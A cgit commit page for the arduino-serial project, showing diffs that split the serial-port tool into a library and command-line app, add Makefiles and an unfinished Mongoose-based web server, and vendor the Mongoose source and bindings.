summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorTod E. Kurt <tod@todbot.com>2013-04-29 13:08:01 -0700
committerTod E. Kurt <tod@todbot.com>2013-04-29 13:08:01 -0700
commitae341e77f3754dbaa194ba40a17ba222e6cb8ebc (patch)
treea82efebcb925e6b837b86ee326e75d9f6929fbd9
parent8c1844393f695e47058bed64f9bc13b31745df1b (diff)
downloadarduino-serial-ae341e77f3754dbaa194ba40a17ba222e6cb8ebc.tar.gz
arduino-serial-ae341e77f3754dbaa194ba40a17ba222e6cb8ebc.tar.bz2
arduino-serial-ae341e77f3754dbaa194ba40a17ba222e6cb8ebc.zip
whew big commit. many small changes in core arduino-serial functionality too
-rw-r--r--Makefile59
-rw-r--r--arduino-serial-lib.c141
-rw-r--r--arduino-serial-lib.h20
-rw-r--r--arduino-serial-server.c87
-rw-r--r--arduino-serial.c201
-rw-r--r--mongoose/.DS_Storebin0 -> 6148 bytes
-rw-r--r--mongoose/.hgtags4
-rw-r--r--mongoose/LICENSE19
-rw-r--r--mongoose/Makefile146
-rw-r--r--mongoose/bindings/csharp/example.cs52
-rw-r--r--mongoose/bindings/csharp/mongoose.cs134
-rw-r--r--mongoose/bindings/python/example.py62
-rw-r--r--mongoose/bindings/python/mongoose.py159
-rw-r--r--mongoose/examples/Makefile7
-rw-r--r--mongoose/examples/chat.c390
-rw-r--r--mongoose/examples/hello.c28
-rw-r--r--mongoose/examples/html/favicon.icobin0 -> 1406 bytes
-rw-r--r--mongoose/examples/html/index.html73
-rw-r--r--mongoose/examples/html/jquery.js154
-rw-r--r--mongoose/examples/html/login.html43
-rw-r--r--mongoose/examples/html/logo.pngbin0 -> 1601 bytes
-rw-r--r--mongoose/examples/html/main.js99
-rw-r--r--mongoose/examples/html/style.css154
-rw-r--r--mongoose/examples/ssl_cert.pem50
-rw-r--r--mongoose/main.c492
-rw-r--r--mongoose/mongoose.1171
-rw-r--r--mongoose/mongoose.c4247
-rw-r--r--mongoose/mongoose.h238
-rw-r--r--mongoose/test/.leading.dot.txt1
-rw-r--r--mongoose/test/\/a.txt1
-rw-r--r--mongoose/test/all_build_flags.pl28
-rwxr-xr-xmongoose/test/bad.cgi5
-rw-r--r--mongoose/test/embed.c181
-rwxr-xr-xmongoose/test/env.cgi50
-rw-r--r--mongoose/test/exploit.pl69
-rwxr-xr-xmongoose/test/hello.cgi6
-rw-r--r--mongoose/test/hello.txt1
-rw-r--r--mongoose/test/passfile3
-rwxr-xr-xmongoose/test/sh.cgi6
-rw-r--r--mongoose/test/ssi1.shtml5
-rw-r--r--mongoose/test/ssi2.shtml5
-rw-r--r--mongoose/test/ssi3.shtml5
-rw-r--r--mongoose/test/ssi4.shtml5
-rw-r--r--mongoose/test/ssi5.shtml5
-rw-r--r--mongoose/test/ssi6.shtml5
-rw-r--r--mongoose/test/ssi7.shtml6
-rw-r--r--mongoose/test/ssi8.shtml1
-rw-r--r--mongoose/test/ssi9.shtml3
-rw-r--r--mongoose/test/test.pl513
-rwxr-xr-xmongoose/test/timeout.cgi12
-rw-r--r--mongoose/test/unit_test.c61
-rw-r--r--mongoose/win32/dll.def15
-rw-r--r--mongoose/win32/res.rc1
-rw-r--r--mongoose/win32/ssl_cert.pem50
-rw-r--r--mongoose/win32/systray.icobin0 -> 1078 bytes
55 files changed, 8139 insertions, 134 deletions
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..5b6efcb
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,59 @@
+# try to do some autodetecting
+UNAME := $(shell uname -s)
+
+ifeq "$(UNAME)" "Darwin"
+ OS=macosx
+ EXE_SUFFIX=
+endif
+ifeq "$(OS)" "Windows_NT"
+ OS=windows
+endif
+ifeq "$(UNAME)" "Linux"
+ OS=linux
+endif
+
+
+################# Mac OS X ##################################################
+ifeq "$(OS)" "macosx"
+
+EXE_SUFFIX=
+
+ARCHS= -arch i386 -arch x86_64
+CFLAGS+= $(ARCHS)
+CFLAGS_MONGOOSE= -I./mongoose -pthread -g
+LIBS+= $(ARCHS)
+
+endif
+
+################# Windows ##################################################
+ifeq "$(OS)" "windows"
+
+EXE_SUFFIX=.exe
+
+CFLAGS_MONGOOSE = -I./mongoose -mthreads
+
+endif
+
+
+################# Common ##################################################
+
+CFLAGS += $(INCLUDES) -O -Wall -std=gnu99
+
+
+all: arduino-serial
+
+arduino-serial: arduino-serial.o arduino-serial-lib.o
+ $(CC) $(CFLAGS) -o arduino-serial$(EXE_SUFFIX) arduino-serial.o arduino-serial-lib.o $(LIBS)
+
+arduino-serial-server: arduino-serial-server.o arduino-serial-lib.o
+ $(CC) $(CFLAGS) $(CFLAGS_MONGOOSE) -o arduino-serial-server$(EXE_SUFFIX) arduino-serial-server.o arduino-serial-lib.o mongoose/mongoose.c $(OBJ) $(LIBS)
+
+.c.o:
+ $(CC) $(CFLAGS) -c $*.c -o $*.o
+
+
+clean:
+ rm -f $(OBJ) arduino-serial arduino-serial.exe *.o *.a
+ rm -f $(OBJ) arduino-serial-server arduino-serial-server.exe *.o *.a
+ rm -f mongoose/mongoose.o
+
diff --git a/arduino-serial-lib.c b/arduino-serial-lib.c
new file mode 100644
index 0000000..a76dc65
--- /dev/null
+++ b/arduino-serial-lib.c
@@ -0,0 +1,141 @@
+//
+// arduino-serial-lib -- simple library for reading/writing serial ports
+//
+// 2006-2013, Tod E. Kurt, http://todbot.com/blog/
+//
+
+#include "arduino-serial-lib.h"
+
+#include <stdio.h> // Standard input/output definitions
+#include <unistd.h> // UNIX standard function definitions
+#include <fcntl.h> // File control definitions
+#include <errno.h> // Error number definitions
+#include <termios.h> // POSIX terminal control definitions
+#include <string.h> // String function definitions
+#include <sys/ioctl.h>
+
+//#define SERIALPORTDEBUG
+
+// takes the string name of the serial port (e.g. "/dev/tty.usbserial","COM1")
+// and a baud rate (bps) and connects to that port at that speed and 8N1.
+// opens the port in fully raw mode so you can send binary data.
+// returns valid fd, or -1 on error
+int serialport_init(const char* serialport, int baud)
+{
+ struct termios toptions;
+ int fd;
+
+ //fd = open(serialport, O_RDWR | O_NOCTTY | O_NDELAY);
+ fd = open(serialport, O_RDWR | O_NONBLOCK );
+
+ if (fd == -1) {
+ perror("serialport_init: Unable to open port ");
+ return -1;
+ }
+
+ //int iflags = TIOCM_DTR;
+ //ioctl(fd, TIOCMBIS, &iflags); // turn on DTR
+ //ioctl(fd, TIOCMBIC, &iflags); // turn off DTR
+
+ if (tcgetattr(fd, &toptions) < 0) {
+ perror("serialport_init: Couldn't get term attributes");
+ return -1;
+ }
+ speed_t brate = baud; // let you override switch below if needed
+ switch(baud) {
+ case 4800: brate=B4800; break;
+ case 9600: brate=B9600; break;
+#ifdef B14400
+ case 14400: brate=B14400; break;
+#endif
+ case 19200: brate=B19200; break;
+#ifdef B28800
+ case 28800: brate=B28800; break;
+#endif
+ case 38400: brate=B38400; break;
+ case 57600: brate=B57600; break;
+ case 115200: brate=B115200; break;
+ }
+ cfsetispeed(&toptions, brate);
+ cfsetospeed(&toptions, brate);
+
+ // 8N1
+ toptions.c_cflag &= ~PARENB;
+ toptions.c_cflag &= ~CSTOPB;
+ toptions.c_cflag &= ~CSIZE;
+ toptions.c_cflag |= CS8;
+ // no flow control
+ toptions.c_cflag &= ~CRTSCTS;
+
+ //toptions.c_cflag &= ~HUPCL; // disable hang-up-on-close to avoid reset
+
+ toptions.c_cflag |= CREAD | CLOCAL; // turn on READ & ignore ctrl lines
+ toptions.c_iflag &= ~(IXON | IXOFF | IXANY); // turn off s/w flow ctrl
+
+ toptions.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); // make raw
+ toptions.c_oflag &= ~OPOST; // make raw
+
+ // see: http://unixwiz.net/techtips/termios-vmin-vtime.html
+ toptions.c_cc[VMIN] = 0;
+ toptions.c_cc[VTIME] = 0;
+ //toptions.c_cc[VTIME] = 20;
+
+ tcsetattr(fd, TCSANOW, &toptions);
+ if( tcsetattr(fd, TCSAFLUSH, &toptions) < 0) {
+ perror("init_serialport: Couldn't set term attributes");
+ return -1;
+ }
+
+ return fd;
+}
+
+//
+int serialport_writebyte( int fd, uint8_t b)
+{
+ int n = write(fd,&b,1);
+ if( n!=1)
+ return -1;
+ return 0;
+}
+
+//
+int serialport_write(int fd, const char* str)
+{
+ int len = strlen(str);
+ int n = write(fd, str, len);
+ if( n!=len ) {
+ perror("serialport_write: couldn't write whole string\n");
+ return -1;
+ }
+ return 0;
+}
+
+//
+int serialport_read_until(int fd, char* buf, char until, int buf_max)
+{
+ char b[1]; // read expects an array, so we give it a 1-byte array
+ int i=0;
+ do {
+ int n = read(fd, b, 1); // read a char at a time
+ if( n==-1) return -1; // couldn't read
+ if( n==0 ) {
+ usleep( 1 * 1000 ); // wait 1 msec try again
+ continue;
+ }
+#ifdef SERIALPORTDEBUG
+ printf("serialport_read_until: i=%d, n=%d %c\n",i,n,b[0]); // debug
+#endif
+ buf[i] = b[0];
+ i++;
+ } while( b[0] != until && i < buf_max );
+
+ buf[i] = 0; // null terminate the string
+ return 0;
+}
+
+//
+int serialport_flush(int fd)
+{
+ sleep(2); //required to make flush work, for some reason
+ return tcflush(fd, TCIOFLUSH);
+}
diff --git a/arduino-serial-lib.h b/arduino-serial-lib.h
new file mode 100644
index 0000000..234ec27
--- /dev/null
+++ b/arduino-serial-lib.h
@@ -0,0 +1,20 @@
+//
+// arduino-serial-lib -- simple library for reading/writing serial ports
+//
+// 2006-2013, Tod E. Kurt, http://todbot.com/blog/
+//
+
+
+#ifndef __ARDUINO_SERIAL_LIB_H__
+#define __ARDUINO_SERIAL_LIB_H__
+
+#include <stdint.h> // Standard types
+
+int serialport_init(const char* serialport, int baud);
+int serialport_writebyte( int fd, uint8_t b);
+int serialport_write(int fd, const char* str);
+int serialport_read_until(int fd, char* buf, char until, int buf_max);
+int serialport_flush(int fd);
+
+#endif
+
diff --git a/arduino-serial-server.c b/arduino-serial-server.c
new file mode 100644
index 0000000..8b8d1d3
--- /dev/null
+++ b/arduino-serial-server.c
@@ -0,0 +1,87 @@
+//
+// arduino-serial-server -- web-based service for serial port
+//
+// This is just an idea. It doesn't work yet.
+//
+//
+//
+
+#include <stdio.h>
+#include <string.h>
+#include <stdint.h>
+#include <stdlib.h>
+
+#include "mongoose.h"
+
+#include "arduino-serial-lib.h"
+
+static int fd;
+
+//
+static void get_qsvar(const struct mg_request_info *request_info,
+ const char *name, char *dst, size_t dst_len) {
+ const char *qs = request_info->query_string;
+ mg_get_var(qs, strlen(qs == NULL ? "" : qs), name, dst, dst_len);
+
+}
+
+//
+static void *callback(enum mg_event event,
+ struct mg_connection *conn,
+ const struct mg_request_info *request_info)
+{
+ const int buf_max = 1000;
+ char result[1000] = "none";
+
+ if (event == MG_NEW_REQUEST) {
+ //const char* uri = request_info->uri;
+
+ // get "id" query arg
+ char cmd[32];
+ get_qsvar(request_info, "cmd", cmd, sizeof(cmd));
+
+ if( ! cmd[0] ) { // cmd is empty
+ ///
+ }
+ else {
+ if( strcasecmp(cmd, "read")==0 ) {
+ serialport_flush(fd);
+ serialport_read_until(fd, result, '\n', buf_max);
+ printf("result: %s\n",result); // debug
+ }
+ }
+
+ // Echo requested URI back to the client
+ mg_printf(conn, "HTTP/1.1 200 OK\r\n"
+ "Content-Type: text/plain\r\n\r\n"
+ "%s"
+ "\n",
+ result
+ );
+
+ return ""; // Mark as processed
+
+ } else {
+ return NULL;
+ }
+}
+
+//
+int main(void) {
+ struct mg_context *ctx;
+ const char *options[] = {"listening_ports", "8080", NULL};
+
+
+ //fd = serialport_init("/dev/tty.usbserial-A800f8ib", 19200);
+ fd = serialport_init("/dev/tty.usbmodemfa141", 19200);
+ if( fd==-1 ) fprintf(stderr, "couldn't open port");
+
+ ctx = mg_start(&callback, NULL, options);
+ printf("arduino-serial-server: running on port %s\n",
+ mg_get_option(ctx, "listening_ports"));
+ getchar(); // Wait until user hits "enter"
+
+ mg_stop(ctx);
+
+ return 0;
+}
diff --git a/arduino-serial.c b/arduino-serial.c
index 0646f23..3f3f35f 100644
--- a/arduino-serial.c
+++ b/arduino-serial.c
@@ -1,5 +1,5 @@
/*
- * Arduino-serial
+ * arduino-serial
* --------------
*
* A simple command-line example program showing how a computer can
@@ -7,9 +7,14 @@
*
*
* Compile with something like:
- * gcc -o arduino-serial arduino-serial.c
+ * gcc -o arduino-serial arduino-serial-lib.c arduino-serial.c
+ * or use the included Makefile
*
- * Created 5 December 2006
+ * Mac: make sure you have Xcode installed
+ * Windows: try MinGW to get GCC
+ *
+ *
+ * Originally created 5 December 2006
* Copyleft (c) 2006, Tod E. Kurt, tod@todbot.com
* http://todbot.com/blog/
*
@@ -27,54 +32,64 @@
* Update 31 August 2008:
* Added patch to clean up odd baudrates from Andy at hexapodia.org
*
+ * Update 6 April 2012:
+ * Split into a library and app parts
+ *
*/
-#include <stdio.h> /* Standard input/output definitions */
+#include <stdio.h> // Standard input/output definitions
#include <stdlib.h>
-#include <stdint.h> /* Standard types */
-#include <string.h> /* String function definitions */
-#include <unistd.h> /* UNIX standard function definitions */
-#include <fcntl.h> /* File control definitions */
-#include <errno.h> /* Error number definitions */
-#include <termios.h> /* POSIX terminal control definitions */
-#include <sys/ioctl.h>
+#include <stdint.h>
+#include <string.h> // String function definitions
#include <getopt.h>
-void usage(void);
-int serialport_init(const char* serialport, int baud);
-int serialport_writebyte(int fd, uint8_t b);
-int serialport_write(int fd, const char* str);
-int serialport_read_until(int fd, char* buf, char until);
+#include "arduino-serial-lib.h"
+
+
+const int buf_max = 256;
-void usage(void) {
+//
+void usage(void)
+{
printf("Usage: arduino-serial -p <serialport> [OPTIONS]\n"
"\n"
"Options:\n"
" -h, --help Print this help message\n"
" -p, --port=serialport Serial port Arduino is on\n"
" -b, --baud=baudrate Baudrate (bps) of Arduino\n"
- " -s, --send=data Send data to Arduino\n"
- " -r, --receive Receive data from Arduino & print it out\n"
+ " -s, --send=string Send string to Arduino\n"
+ " -S, --sendline=string Send string with newline to Arduino\n"
+ " -r, --receive Receive string from Arduino & print it out\n"
" -n --num=num Send a number as a single byte\n"
+ " -F --flush Flush the serial port buffers for fresh reading\n"
" -d --delay=millis Delay for specified milliseconds\n"
+ " -q --quiet Don't print out as much info\n"
"\n"
"Note: Order is important. Set '-b' before doing '-p'. \n"
" Used to make series of actions: '-d 2000 -s hello -d 100 -r' \n"
" means 'wait 2secs, send 'hello', wait 100msec, get reply'\n"
"\n");
+ exit(EXIT_SUCCESS);
+}
+
+//
+void error(char* msg)
+{
+ fprintf(stderr, "%s\n",msg);
+ exit(EXIT_FAILURE);
}
int main(int argc, char *argv[])
{
- int fd = 0;
- char serialport[256];
- int baudrate = B9600; // default
- char buf[256];
+ int fd = -1;
+ char serialport[buf_max];
+ int baudrate = 9600; // default
+ char buf[buf_max];
int rc,n;
+ char quiet=0;
if (argc==1) {
usage();
- exit(EXIT_SUCCESS);
}
/* parse options */
@@ -84,20 +99,27 @@ int main(int argc, char *argv[])
{"port", required_argument, 0, 'p'},
{"baud", required_argument, 0, 'b'},
{"send", required_argument, 0, 's'},
+ {"sendline", required_argument, 0, 'S'},
{"receive", no_argument, 0, 'r'},
+ {"flush", no_argument, 0, 'F'},
{"num", required_argument, 0, 'n'},
{"delay", required_argument, 0, 'd'},
+ {"quiet", no_argument, 0, 'q'},
{NULL, 0, 0, 0}
};
while(1) {
- opt = getopt_long (argc, argv, "hp:b:s:rn:d:",
+ opt = getopt_long (argc, argv, "hp:b:s:S:rFn:d:q",
loptions, &option_index);
if (opt==-1) break;
switch (opt) {
case '0': break;
+ case 'q':
+ quiet = 1;
+ break;
case 'd':
n = strtol(optarg,NULL,10);
+ if( !quiet ) printf("sleep %d millisecs\n",n);
usleep(n * 1000 ); // sleep milliseconds
break;
case 'h':
@@ -109,128 +131,39 @@ int main(int argc, char *argv[])
case 'p':
strcpy(serialport,optarg);
fd = serialport_init(optarg, baudrate);
- if(fd==-1) return -1;
+ if( fd==-1 ) error("couldn't open port");
+ serialport_flush(fd);
break;
case 'n':
+ if( fd == -1 ) error("serial port not opened");
n = strtol(optarg, NULL, 10); // convert string to number
rc = serialport_writebyte(fd, (uint8_t)n);
- if(rc==-1) return -1;
+ if(rc==-1) error("error writing");
break;
+ case 'S':
case 's':
- strcpy(buf,optarg);
- printf("read string '%s'\n", buf);
+ if( fd == -1 ) error("serial port not opened");
+ sprintf(buf, (opt=='S' ? "%s\n" : "%s"), optarg);
+
+ if( !quiet ) printf("send string:%s\n", buf);
rc = serialport_write(fd, buf);
- if(rc==-1) return -1;
+ if(rc==-1) error("error writing");
break;
case 'r':
- serialport_read_until(fd, buf, '\n');
- printf("read: %s\n",buf);
+ if( fd == -1 ) error("serial port not opened");
+ memset(buf,0,buf_max); //
+ serialport_read_until(fd, buf, '\n', buf_max);
+ if( !quiet ) printf("read string:");
+ printf("%s\n", buf);
+ break;
+ case 'F':
+ if( fd == -1 ) error("serial port not opened");
+ serialport_flush(fd);
break;
+
}
}
exit(EXIT_SUCCESS);
} // end main
-int serialport_writebyte( int fd, uint8_t b)
-{
- int n = write(fd,&b,1);
- if( n!=1)
- return -1;
- return 0;
-}
-
-int serialport_write(int fd, const char* str)
-{
- int len = strlen(str);
- int n = write(fd, str, len);
- if( n!=len ) {
- printf("couldn't write whole string\n");
- return -1;
- }
- return 0;
-}
-
-int serialport_read_until(int fd, char* buf, char until)
-{
- char b[1];
- int i=0;
- do {
- int n = read(fd, b, 1); // read a char at a time
- if( n==-1) return -1; // couldn't read
- if( n==0 ) {
- usleep( 10 * 1000 ); // wait 10 msec try again
- continue;
- }
- buf[i] = b[0]; i++;
- } while( b[0] != until );
-
- buf[i] = 0; // null terminate the string
- return 0;
-}
-
-// takes the string name of the serial port (e.g. "/dev/tty.usbserial","COM1")
-// and a baud rate (bps) and connects to that port at that speed and 8N1.
-// opens the port in fully raw mode so you can send binary data.
-// returns valid fd, or -1 on error
-int serialport_init(const char* serialport, int baud)
-{
- struct termios toptions;
- int fd;
-
- //fprintf(stderr,"init_serialport: opening port %s @ %d bps\n",
- // serialport,baud);
-
- fd = open(serialport, O_RDWR | O_NOCTTY | O_NDELAY);
- if (fd == -1) {
- perror("init_serialport: Unable to open port ");
- return -1;
- }
-
- if (tcgetattr(fd, &toptions) < 0) {
- perror("init_serialport: Couldn't get term attributes");
- return -1;
- }
- speed_t brate = baud; // let you override switch below if needed
- switch(baud) {
- case 4800: brate=B4800; break;
- case 9600: brate=B9600; break;
-#ifdef B14400
- case 14400: brate=B14400; break;
-#endif
- case 19200: brate=B19200; break;
-#ifdef B28800
- case 28800: brate=B28800; break;
-#endif
- case 38400: brate=B38400; break;
- case 57600: brate=B57600; break;
- case 115200: brate=B115200; break;
- }
- cfsetispeed(&toptions, brate);
- cfsetospeed(&toptions, brate);
-
- // 8N1
- toptions.c_cflag &= ~PARENB;
- toptions.c_cflag &= ~CSTOPB;
- toptions.c_cflag &= ~CSIZE;
- toptions.c_cflag |= CS8;
- // no flow control
- toptions.c_cflag &= ~CRTSCTS;
-
- toptions.c_cflag |= CREAD | CLOCAL; // turn on READ & ignore ctrl lines
- toptions.c_iflag &= ~(IXON | IXOFF | IXANY); // turn off s/w flow ctrl
-
- toptions.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); // make raw
- toptions.c_oflag &= ~OPOST; // make raw
-
- // see: http://unixwiz.net/techtips/termios-vmin-vtime.html
- toptions.c_cc[VMIN] = 0;
- toptions.c_cc[VTIME] = 20;
-
- if( tcsetattr(fd, TCSANOW, &toptions) < 0) {
- perror("init_serialport: Couldn't set term attributes");
- return -1;
- }
-
- return fd;
-}
diff --git a/mongoose/.DS_Store b/mongoose/.DS_Store
new file mode 100644
index 0000000..751bca6
--- /dev/null
+++ b/mongoose/.DS_Store
Binary files differ
diff --git a/mongoose/.hgtags b/mongoose/.hgtags
new file mode 100644
index 0000000..1801861
--- /dev/null
+++ b/mongoose/.hgtags
@@ -0,0 +1,4 @@
+4e217a693d747882a06e559883804aceb3358f5e 2.9
+47c8f85f52d3aa9ea888251b7b245cb5bfb5f748 2.10
+95e60bbbea5c7141d82e8cd4e80ecb0aeb9f4361 2.11
+89f40cc9b5cbdc63431238430e515732c34f8a18 3.0
diff --git a/mongoose/LICENSE b/mongoose/LICENSE
new file mode 100644
index 0000000..5040cd4
--- /dev/null
+++ b/mongoose/LICENSE
@@ -0,0 +1,19 @@
+Copyright (c) 2004-2010 Sergey Lyubka
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/mongoose/Makefile b/mongoose/Makefile
new file mode 100644
index 0000000..ffdd70e
--- /dev/null
+++ b/mongoose/Makefile
@@ -0,0 +1,146 @@
+# This file is part of Mongoose project, http://code.google.com/p/mongoose
+# $Id: Makefile 473 2009-09-02 11:20:06Z valenok $
+
+PROG= mongoose
+
+all:
+ @echo "make (linux|bsd|solaris|mac|windows|mingw)"
+
+# Possible COPT values: (in brackets are rough numbers for 'gcc -O2' on i386)
+# -DHAVE_MD5 - use system md5 library (-2kb)
+# -DNDEBUG - strip off all debug code (-5kb)
+# -DDEBUG - build debug version (very noisy) (+7kb)
+# -DNO_CGI - disable CGI support (-5kb)
+# -DNO_SSL - disable SSL functionality (-2kb)
+# -DCONFIG_FILE=\"file\" - use `file' as the default config file
+# -DHAVE_STRTOUI64 - use system strtoui64() function for strtoull()
+# -DSSL_LIB=\"libssl.so.<version>\" - use system versioned SSL shared object
+# -DCRYPTO_LIB=\"libcrypto.so.<version>\" - use system versioned CRYPTO so
+
+
+##########################################################################
+### UNIX build: linux, bsd, mac, rtems
+##########################################################################
+
+CFLAGS = -W -Wall -std=c99 -pedantic -O2 $(COPT)
+MAC_SHARED = -flat_namespace -bundle -undefined suppress
+LINFLAGS = -ldl -pthread $(CFLAGS)
+LIB = _$(PROG).so
+CC = g++
+
+# Make sure that the compiler flags come last in the compilation string.
+# If not so, this can break some on some Linux distros which use
+# "-Wl,--as-needed" turned on by default in cc command.
+# Also, this is turned in many other distros in static linkage builds.
+linux:
+ $(CC) mongoose.c -shared -fPIC -fpic -o $(LIB) $(LINFLAGS)
+ $(CC) mongoose.c main.c -o $(PROG) $(LINFLAGS)
+
+bsd:
+ $(CC) mongoose.c -shared -pthread -fpic -fPIC -o $(LIB) $(CFLAGS)
+ $(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
+
+mac:
+ $(CC) mongoose.c -pthread -o $(LIB) $(MAC_SHARED) $(CFLAGS)
+ $(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
+
+solaris:
+ gcc mongoose.c -pthread -lnsl \
+ -lsocket -fpic -fPIC -shared -o $(LIB) $(CFLAGS)
+ gcc mongoose.c main.c -pthread -lnsl -lsocket -o $(PROG) $(CFLAGS)
+
+
+##########################################################################
+### WINDOWS build: Using Visual Studio or Mingw
+##########################################################################
+
+# Using Visual Studio 6.0. To build Mongoose:
+# o Set VC variable below to where VS 6.0 is installed on your system
+# o Run "PATH_TO_VC6\bin\nmake windows"
+
+VC= z:
+CYA= y:
+#DBG= /Zi /DDEBUG /Od
+DBG= /DNDEBUG /O1
+CL= cl /MD /TC /nologo $(DBG) /Gz /W3 /DNO_SSL_DL
+GUILIB= user32.lib shell32.lib
+LINK= /link /incremental:no /libpath:$(VC)\lib /subsystem:windows \
+ ws2_32.lib advapi32.lib cyassl.lib
+CYAFL = /c /I $(CYA)/include -I $(CYA)/include/openssl \
+ /I $(CYA)/ctaocrypt/include /D _LIB /D OPENSSL_EXTRA
+
+CYASRC= \
+ $(CYA)/src/cyassl_int.c \
+ $(CYA)/src/cyassl_io.c \
+ $(CYA)/src/keys.c \
+ $(CYA)/src/tls.c \
+ $(CYA)/src/ssl.c \
+ $(CYA)/ctaocrypt/src/aes.c \
+ $(CYA)/ctaocrypt/src/arc4.c \
+ $(CYA)/ctaocrypt/src/asn.c \
+ $(CYA)/ctaocrypt/src/coding.c \
+ $(CYA)/ctaocrypt/src/ctc_asm.c \
+ $(CYA)/ctaocrypt/src/ctc_misc.c \
+ $(CYA)/ctaocrypt/src/cyassl_memory.c \
+ $(CYA)/ctaocrypt/src/des3.c \
+ $(CYA)/ctaocrypt/src/dh.c \
+ $(CYA)/ctaocrypt/src/dsa.c \
+ $(CYA)/ctaocrypt/src/ecc.c \
+ $(CYA)/ctaocrypt/src/hc128.c \
+ $(CYA)/ctaocrypt/src/hmac.c \
+ $(CYA)/ctaocrypt/src/integer.c \
+ $(CYA)/ctaocrypt/src/md4.c \
+ $(CYA)/ctaocrypt/src/md5.c \
+ $(CYA)/ctaocrypt/src/pwdbased.c \
+ $(CYA)/ctaocrypt/src/rabbit.c \
+ $(CYA)/ctaocrypt/src/random.c \
+ $(CYA)/ctaocrypt/src/ripemd.c \
+ $(CYA)/ctaocrypt/src/rsa.c \
+ $(CYA)/ctaocrypt/src/sha.c \
+ $(CYA)/ctaocrypt/src/sha256.c \
+ $(CYA)/ctaocrypt/src/sha512.c \
+ $(CYA)/ctaocrypt/src/tfm.c
+
+cyassl:
+ $(CL) $(CYASRC) $(CYAFL) $(DEF)
+ lib *.obj /out:cyassl.lib
+
+windows:
+ rc win32\res.rc
+ $(CL) main.c mongoose.c /GA $(LINK) win32\res.res \
+ $(GUILIB) /out:$(PROG).exe
+ $(CL) mongoose.c /GD $(LINK) /DLL /DEF:win32\dll.def /out:_$(PROG).dll
+
+# Build for Windows under MinGW
+#MINGWDBG= -DDEBUG -O0
+MINGWDBG= -DNDEBUG -Os
+#MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT
+MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,windows $(MINGWDBG)
+mingw:
+ windres win32\res.rc win32\res.o
+ gcc $(MINGWOPT) mongoose.c -lws2_32 \
+ -shared -Wl,--out-implib=$(PROG).lib -o _$(PROG).dll
+ gcc $(MINGWOPT) mongoose.c main.c win32\res.o -lws2_32 -ladvapi32 \
+ -o $(PROG).exe
+
+
+##########################################################################
+### Manuals, cleanup, test, release
+##########################################################################
+
+man:
+ groff -man -T ascii mongoose.1 | col -b > mongoose.txt
+ groff -man -T ascii mongoose.1 | less
+
+# "TEST=unit make test" - perform unit test only
+# "TEST=embedded" - test embedded API by building and testing test/embed.c
+# "TEST=basic_tests" - perform basic tests only (no CGI, SSI..)
+test: do_test
+do_test:
+ perl test/test.pl $(TEST)
+
+release: clean
+ F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar --exclude \*.hg --exclude \*.svn --exclude \*.swp --exclude \*.nfs\* -czf x mongoose && mv x mongoose/$$F
+
+clean:
+ rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz
diff --git a/mongoose/bindings/csharp/example.cs b/mongoose/bindings/csharp/example.cs
new file mode 100644
index 0000000..7e294fc
--- /dev/null
+++ b/mongoose/bindings/csharp/example.cs
@@ -0,0 +1,52 @@
+// This is C# example on how to use Mongoose embeddable web server,
+// http://code.google.com/p/mongoose
+//
+// Before using the mongoose module, make sure that Mongoose shared library is
+// built and present in the current (or system library) directory
+
+using System;
+using System.Runtime.InteropServices;
+
+public class Program {
+
+ // This function is called when user types in his browser http://127.0.0.1:8080/foo
+ static private void UriHandler(MongooseConnection conn, MongooseRequestInfo ri) {
+ conn.write("HTTP/1.1 200 OK\r\n\r\n");
+ conn.write("Hello from C#!\n");
+ conn.write("Your user-agent is: " + conn.get_header("User-Agent") + "\n");
+ }
+
+ static private void UriDumpInfo(MongooseConnection conn, MongooseRequestInfo ri)
+ {
+ conn.write("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n");
+ conn.write("<html><body><head>Calling Info</head>");
+ conn.write("<p>Request: " + ri.request_method + "</p>");
+ conn.write("<p>URI: " + ri.uri + "</p>");
+ conn.write("<p>Query: " + ri.query_string + "</p>");
+ if (ri.post_data_len > 0) conn.write("<p>Post(" + ri.post_data_len + ")[@" + ri.post_data + "]: '" + Marshal.PtrToStringAnsi(ri.post_data) + "'</p>");
+ conn.write("<p>User:" + ri.remote_user + "</p>");
+ conn.write("<p>IP: " + ri.remote_ip + "</p>");
+ conn.write("<p>HTTP: " + ri.http_version + "</p>");
+ conn.write("<p>Port: " + ri.remote_port + "</p>");
+ conn.write("<p>NUM Headers: " + ri.num_headers + "</p>");
+ for (int i = 0; i < Math.Min(64, ri.num_headers); i++)
+ {
+ conn.write("<p>" + i + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].name)
+ + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].value) + "</p>");
+ }
+ conn.write("</body></html>");
+ }
+
+ static void Main() {
+ Mongoose web_server = new Mongoose();
+
